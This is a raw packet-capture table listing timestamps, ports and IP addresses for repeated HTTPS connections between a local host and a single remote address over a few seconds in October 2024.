Oct 7, 2024 03:16:12.586302996 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.586932898 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.586966991 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.587443113 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.587450027 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.663249969 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.663280964 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.688869953 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.688987970 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.689466953 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.689508915 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.689532042 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.689548016 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.689554930 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.692930937 CEST	49850	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.692985058 CEST	443	49850	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.693073034 CEST	49850	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.693213940 CEST	49850	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.693224907 CEST	443	49850	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.960691929 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.961334944 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.961396933 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.962006092 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.962021112 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.972129107 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.972574949 CEST	49847	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.972594023 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.973117113 CEST	49847	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.973124027 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.994963884 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.995488882 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.995498896 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.996048927 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.996052980 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.997905016 CEST	443	49849	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.998189926 CEST	49849	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.998234034 CEST	443	49849	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:12.998663902 CEST	49849	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:12.998678923 CEST	443	49849	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.061196089 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.061239958 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.061302900 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.061321974 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.061403036 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.061656952 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.061656952 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.061706066 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.061733961 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.065330982 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.065361977 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.065452099 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.065629959 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.065648079 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.080310106 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.080476999 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.080549002 CEST	49847	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.080594063 CEST	49847	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.080612898 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.080622911 CEST	49847	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.080627918 CEST	443	49847	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.083110094 CEST	49852	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.083137035 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.083208084 CEST	49852	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.083339930 CEST	49852	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.083355904 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.096056938 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.096080065 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.096112013 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.096151114 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.096179962 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.096374989 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.096380949 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.096395969 CEST	49848	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.096400976 CEST	443	49848	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.097223997 CEST	443	49849	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.097466946 CEST	443	49849	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.097556114 CEST	49849	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.097696066 CEST	49849	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.097696066 CEST	49849	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.097718954 CEST	443	49849	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.097759962 CEST	443	49849	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.098730087 CEST	49853	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.098766088 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.098824978 CEST	49853	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.099127054 CEST	49853	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.099139929 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.100101948 CEST	49854	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.100109100 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.103297949 CEST	49854	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.103425980 CEST	49854	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.103434086 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.382050037 CEST	443	49850	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.382607937 CEST	49850	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.382651091 CEST	443	49850	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.383263111 CEST	49850	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.383275032 CEST	443	49850	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.489703894 CEST	443	49850	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.489788055 CEST	443	49850	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.489854097 CEST	49850	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.490112066 CEST	49850	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.490138054 CEST	443	49850	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.490154982 CEST	49850	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.490161896 CEST	443	49850	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.493148088 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.493189096 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.493254900 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.493412018 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.493422985 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.716068029 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.716641903 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.716659069 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.717295885 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.717300892 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.728290081 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.728713989 CEST	49853	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.728745937 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.729259014 CEST	49853	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.729286909 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.761720896 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.762120008 CEST	49852	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.762150049 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.762628078 CEST	49852	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.762635946 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.769258976 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.769543886 CEST	49854	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.769582987 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.769990921 CEST	49854	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.769998074 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.815640926 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.815861940 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.815980911 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.816023111 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.816037893 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.816109896 CEST	49851	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.816117048 CEST	443	49851	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.820410967 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.820430040 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.820513010 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.820727110 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.820741892 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.825520039 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.825839043 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.825906992 CEST	49853	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.825939894 CEST	49853	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.825954914 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.825970888 CEST	49853	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.825977087 CEST	443	49853	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.829207897 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.829272985 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.829374075 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.829520941 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.829555035 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.882785082 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.882854939 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.883101940 CEST	49854	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.883516073 CEST	49854	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.883548021 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.883567095 CEST	49854	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.883574009 CEST	443	49854	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.884037018 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.884109020 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.884155989 CEST	49852	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.884174109 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.884210110 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.884260893 CEST	49852	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.884319067 CEST	49852	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.884335995 CEST	443	49852	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.887132883 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.887228966 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.887264013 CEST	49859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.887303114 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.887315035 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.887360096 CEST	49859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.887537003 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.887554884 CEST	49859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:13.887569904 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:13.887574911 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.164309025 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.165230036 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.165261030 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.165996075 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.166023970 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.266973972 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.267113924 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.267194986 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.267369032 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.267391920 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.267433882 CEST	49855	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.267441988 CEST	443	49855	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.270689964 CEST	49860	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.270715952 CEST	443	49860	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.270793915 CEST	49860	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.271004915 CEST	49860	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.271015882 CEST	443	49860	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.455715895 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.456367970 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.456382036 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.456820011 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.456825018 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.494410992 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.495114088 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.495152950 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.495606899 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.495620966 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.524251938 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.524743080 CEST	49859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.524771929 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.525171041 CEST	49859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.525194883 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.550791979 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.554744959 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.554791927 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.554873943 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.554977894 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.555022001 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.555032015 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.555079937 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.555438995 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.555453062 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.555684090 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.555713892 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.555733919 CEST	49856	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.555742979 CEST	443	49856	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.559675932 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.559720993 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.559793949 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.559942007 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.559956074 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.596375942 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.596574068 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.596623898 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.596678972 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.596678972 CEST	49857	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.596705914 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.596744061 CEST	443	49857	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.599734068 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.599766016 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.599831104 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.599936008 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.599948883 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.623600006 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.623941898 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.623987913 CEST	49859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.624023914 CEST	49859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.624023914 CEST	49859	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.624051094 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.624068022 CEST	443	49859	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.626591921 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.626626015 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.626693010 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.626811028 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.626827955 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.654697895 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.654809952 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.654869080 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.654975891 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.654992104 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.655002117 CEST	49858	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.655005932 CEST	443	49858	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.657253981 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.657363892 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.657468081 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.657577991 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.657613993 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.940562010 CEST	443	49860	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.941179991 CEST	49860	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.941193104 CEST	443	49860	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:14.941745996 CEST	49860	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:14.941754103 CEST	443	49860	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.041906118 CEST	443	49860	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.042102098 CEST	443	49860	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.042164087 CEST	443	49860	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.042190075 CEST	49860	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.042231083 CEST	49860	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.042433977 CEST	49860	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.042460918 CEST	443	49860	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.042473078 CEST	49860	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.042481899 CEST	443	49860	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.046036959 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.046091080 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.046185970 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.046350002 CEST	49865	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.046365976 CEST	443	49865	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.199851036 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.200534105 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.200561047 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.201221943 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.201229095 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.241482019 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.242237091 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.242248058 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.242758989 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.242764950 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.262628078 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.262932062 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.262944937 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.263267994 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.263276100 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.300153971 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.300280094 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.300354004 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.300601959 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.300623894 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.300647974 CEST	49861	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.300653934 CEST	443	49861	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.303356886 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.303678036 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.303706884 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.303935051 CEST	49866	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.303962946 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.304018974 CEST	49866	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.304174900 CEST	49864	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.304183960 CEST	443	49864	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.304184914 CEST	49866	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.304198980 CEST	443	49866	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.340657949 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.340763092 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.340831995 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.340920925 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.340926886 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.340936899 CEST	49862	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.340941906 CEST	443	49862	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.343077898 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.343123913 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.343194008 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.343307972 CEST	49867	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.343319893 CEST	443	49867	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.361768961 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.361820936 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.361871004 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.362019062 CEST	49863	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:16:15.362041950 CEST	443	49863	13.107.246.45	192.168.2.4
Oct 7, 2024 03:16:15.362055063 CEST	49863	443	192.168.2.4	13.107.246.45
